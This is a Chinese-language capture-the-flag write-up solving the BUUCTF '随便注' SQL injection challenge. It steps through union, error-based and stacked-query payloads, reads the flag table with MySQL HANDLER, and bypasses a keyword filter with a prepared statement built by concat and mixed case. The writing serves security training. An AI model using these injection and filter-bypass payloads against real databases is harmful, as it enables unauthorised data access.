目录

审题

字段判定

字段数

字段回显

爆表

报错盲注

堆叠注入

字段查询

handler查询法

预编译绕过法


审题

打开连接

emmm,好眼熟的题目,这不是跟攻防世界的一道题一模一样吗

攻防世界之supersqli_金 帛的博客-CSDN博客

无奈再做一次吧

字段判定

字段数

输入数字查询,直到3的时候无回显,字段数应该为2

用order by来测试也是,没有第三个字段,所以字段为2

字段回显

知道字段数,直接联合注入,查看回显,构建payload

inurl?inject=-1' union select 1,2 --+

发现好多关键字被过滤掉了,所以不能走select这条路子了,我们还有报错注入,堆叠注入

爆表

报错盲注

考虑到select被过滤,现在也就只有两种报错盲注能用

第一种,构建payload

inurl?inject=1' or updatexml(1,concat(0x7e,(database())),0) or#

emmm,又被过滤掉了,那接着试试第二种,构建payload

inurl?inject=1' or extractvalue(1,concat(0x7e,(database())),0) or#

emmm,又被过滤掉了,那只有堆叠能用了

堆叠注入

顾名思义,利用分号(;)一下子能执行多条语句,先看看数据库有啥,构建payload

inurl?inject=-1'; show databases;#

爆了好多数据库,排除几个常见的数据库,接着一个个看一下表,构建payload

inurl?inject=-1';use ctftraining;show tables;#

第一个表好可疑,看一下有什么字段

inurl?inject=-1';use ctftraining;show columns from FLAG_TABLE;#

只有一个字段,第一个string是指字段名,第五个string是备注的内容,已经提示了,没有flag

那就回去看一下supersqli这个表吧

看一下第一个纯数字的表,注意纯数字的表名得用`包裹,构建payload

inurl?inject=-1';use supersqli;show columns from `1919810931114514`;#

好了,知道flag在哪了,接着就是怎么查询到这个的问题了

字段查询

handler查询法

MYSQL神秘的HANDLER命令与实现方法_Mysql_脚本之家 (jb51.net)

mysql handler语句之一 - MySQL数据库 - 亿速云 (yisu.com)

让我们在本地环境试试看怎么用

噢噢,懂了,这就构建payload

inurl?inject=-1';use supersqli;handler `1919810931114514` open as p;handler p read first;#

拿到flag

预编译绕过法

先说说预编译吧,简单来说,预编译就是先set(定义)一个变量@a,然后prepare(准备)一个b从@a那获得,然后execute(执行) b,也就是变相地执行了@a的语句

当然我们还可以利用concat函数来联合@a里的内容,来绕过过滤

利用预编译绕过select 就能直接拿到flag了,构建payload

inurl?inject=-1';set @sql = concat('sele','ct flag from `1919810931114514`;');prepare stmt from @sql;execute stmt;#

可以看到set跟prepare被strstr函数给检测出来了,但是strstr函数不区分大小写,所以我们可以用大小写法绕过,把set改成SeT,prepare改成PrePare

 拿到flag

BUUCTF之随便注相关推荐

  1. buuctf [强网杯 2019]随便注 1

    buuctf web [强网杯 2019]随便注 1 -刷题个人日记 小白一个,写给自己看. 打开后是这样. 从题目和内容来看就是一道sql注入题. 输入 1' or 1=1;# 这个#用来注释掉后面 ...

  2. BUUCTF Web [强网杯 2019]随便注

    「作者主页」:士别三日wyx   此文章已录入专栏<网络攻防>,持续更新热门靶场的通关教程 「未知攻,焉知收」,在一个个孤独的夜晚,你完成了几百个攻防实验,回过头来才发现,已经击败了百分之 ...

  3. BUUCTF [强网杯 2019]随便注

    题目 打开环境发现是经典的提交界面 老规则还是查询注入点,1 or 1 =1#,1' order by 1#都未出错,但是1' union select 1,2#是出现了错误,发现一些查询语句被过滤了 ...

  4. 强网杯 2019]随便注 【SQL注入】四种解法

    题目简介 题目名称:[强网杯 2019]随便注 1 题目平台:BUUCTF 题目类型:Web 考察知识点: SQL注入 解题步骤 方法一: 首先启动并访问靶机,有一个输入框,随便输入1' or 1 = ...

  5. BMZCTF 强网杯 2019 随便注 原理+题解

    目录 知识点 堆叠注入 show语句 mysql预编译 过程 重点 预编译 重命名 总结 知识点 堆叠注入 堆叠查询注入:堆叠查询可以执行多条SQL语句,语句之间以分号(;)隔开.而堆叠查询注入攻击就 ...

  6. mysql set语句_从强网杯随便注浅析mysql存储过程

    从强网杯随便注浅析mysql存储过程 Author: Smity 去年的强网杯,出了一道mysql堆叠注入叫随便注,这道题被好多比赛玩了一整年,直到现在还是有各种新姿势,但是今天我忽然想到似乎没有对这 ...

  7. 获取mysql存储过程返回值_从强网杯随便注浅析mysql存储过程

    作者:Smity 合天智汇 去年的强网杯,出了一道mysql堆叠注入叫随便注,这道题被好多比赛玩了一整年,直到现在还是有各种新姿势,但是今天我忽然想到似乎没有对这个题目有一个很认真的分析,因此这里总结 ...

  8. [强网杯 2019]随便注 —— 堆叠注入

                           [强网杯 2019]随便注 前言        个人观点,若有误请指教 解题思路及步骤 直接上'引号,结果直接报错了,证明存在sql注入漏洞. 判断当前表 ...

  9. [强网杯 2019]随便注 1

    题目[强网杯 2019]随便注 1 题目来源:https://buuoj.cn/challenges#[%E5%BC%BA%E7%BD%91%E6%9D%AF%202019]%E9%9A%8F%E4% ...

  10. 【BUUCTF】强网杯 2019随便注1 write up

    输入万能密码1' or 1=1# ,判断存在sql注入, SQL注入的万能密码实际上是利用了网址后台的漏洞,打开下面的网址不用密码和账号也可以登录后台. 万能密码原理: 万能密码能够绕过sql检测,在 ...

最新文章

  1. 【深度学习】解析深度神经网络背后的数学原理
  2. Struts2中EL表达式取值
  3. 算法:恢复二叉搜索树
  4. 用户被忽悠 微软黑屏计划推至21日0点实施
  5. OpenCASCADE:读取和写入 IGES
  6. bzoj 2330: [SCOI2011]糖果
  7. Windows下动态加载可执行代码原理简述
  8. 7-103 牛几 (10 分)
  9. (24)FPGA开发必备(FPGA不积跬步101)
  10. Ogre1.8.1 Basic Tutorial 6 - The Ogre Startup Sequence
  11. Redux入门教程(快速上手)_day_01
  12. python点图为什么显示不出来_matplotlib图只显示点而不是lin
  13. java string是final_关于java:String和Final
  14. stm8s单片机2位数码管显示_STM8S103数字电压表头,增加四位显示,串口功能,附源码...
  15. 共享服务器协议,3.5.7 文件共享服务及SMB协议
  16. 微信小程序java后端_微信小程序访问后端服务器-微信小程序后端-微信小程序后端JAVA...
  17. C4D新建立方体对象不显示?
  18. 图像去噪(阿尔法均值滤波器)
  19. SylixOS快问快答
  20. 【火车头采集】如何采集一个网页的多张图片并且下载

热门文章

  1. graphpad prism8教程柱状图_GraphPad 8.0 新功能:柱状图功能体验大优化!(附教学)...
  2. 阿里云dataV大屏可视化的使用攻略——vue项目
  3. 如何用PS快速去除图片上的文字
  4. 基本初等函数导数公式表
  5. tf2 --- 结构化数据建模流程
  6. 车载芯片分类、用途、供应商
  7. js取绝对值的两种方法
  8. 一个程序员的诗集【古诗篇】
  9. python设置主题背景
  10. iOS越狱之Mac登录iPhone